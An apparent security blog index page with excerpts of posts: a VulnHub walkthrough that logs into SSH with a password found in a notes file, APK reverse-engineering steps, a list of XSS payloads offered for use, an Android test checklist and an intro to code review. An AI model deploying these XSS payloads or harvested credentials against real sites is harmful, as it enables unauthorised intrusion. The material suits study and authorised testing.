Just A N00B Thinking

This is the latest machine in VulnHub  , created by Hadi Mene  . So let's begin enumeration with Nmap. Meanwhile I was looking into the source code to get some information, but nothing special was there. So I fired up the Dirb to look into the hidden directories. Below is the output of Dirb. So I started looking into all these directories. While browsing through directories, in admin directory i found notes.txt file. Below is the output for the same. So in notes.txt, I found this note : "Note to myself : I need to change my password :/ 12345ted123 is too outdated but the technology isn't my thing i prefer go fishing or watching soccer." As we know, while enumeration with Nmap, we found that port 22 and 80 is open. So ssh is possible here, here I took "ted" as username (Predicted) and "12345ted123" as password. And it worked. So what's next?? We got successful login, and now let's move for...

There are many simple ways to do reverse engineering (first step towards Mobile application security). As of today, there are various mobile platforms available. We will keep our primary focus on Android, IOS, Windows and Blackberry. Reverse engineering Android Mobile App (APK File): 1.     Select the APK file you want to reverse engineer. Using any extractor like 7zip, extract the files. 2.       Now you can see a file named classes.dex. 3.       Using the tool   dex2jar  to convert classes.dex into a readable jar. Command : dex2jar.bat classes.dex 4.   Now using any Java decompiler, you can open the newly converted file "classes_dex2jar". In my case i am using   jdgui , a free tool. 5.       Now you can see all the packages and class files inside it. 6.       Look for hard-coded sensitive information in the code (if code is ...

Here we go: use any of it (depending on situation) <script>alert(123)</script> <script>alert("hellox worldss");</script> javascript:alert("hellox worldss") <img src="javascript:alert('XSS');"> <img src=javascript:alert(&quot;XSS&quot;)> <"';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//\";alert(String.fromCharCode(88,83,83))//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT> <META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K"> <IFRAME SRC="javascript:alert('XSS');"></IFRAME> <EMBED SRC="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOn...

Android Client-Side Attacks and Tests CATEGORY TEST NAME Information Gathering Reverse Engineering the Application Code Testing for Common Libraries and Fingerprinting Enumeration of Application Known Controllers Information Disclosure by Logcat Application Local Storage Flaws Hidden Secrets in the Code Storing Sensitive Data on Shared Storage (exposed to all applications without any restrictions) Cryptographic Based Storage Strength Content Providers Access Permissions Content Providers SQL Injection Privacy and Metadata Leaks IPC Security User Propriety Data in Logcat Technical Valuable Data in Logcat Exposed Components and Cross Application Authorization Permissions & Digital Signature Data Sharing Issues Clipboard Separation Public Intents and Unauthenticated Data Sources Privacy Breaches Public Intents and Authorization Flaws Code Puzzling and Abusing Application State Race Conditions, Deadlocks and Concurrency Threats In Device Denial of Servi...

Introduction Source Code review is a process which discovers hidden vulnerabilities, design flaws, and verifies if key security controls are implemented. Code review helps developers learn the code base, as well as help them learn new technologies and techniques that grow their skill sets. In source code review we are using a combination of scanning tools and manual review to detect insecure coding practices, backdoor, injection flaws, cross site scripting errors, insecure handling of resources, weak cryptography etc. Many claims that this process is time consuming and too costly, but there is no doubt that this process is the fastest and most accurate way to find and diagnose many problems, mostly your code is the base from hackers are taking advantage. There are dozens of security problems that simply can’t be found any other way. A source code review is also the best way to detect intentional or accidental backdoors and logic bombs in applications that you acquire from thi...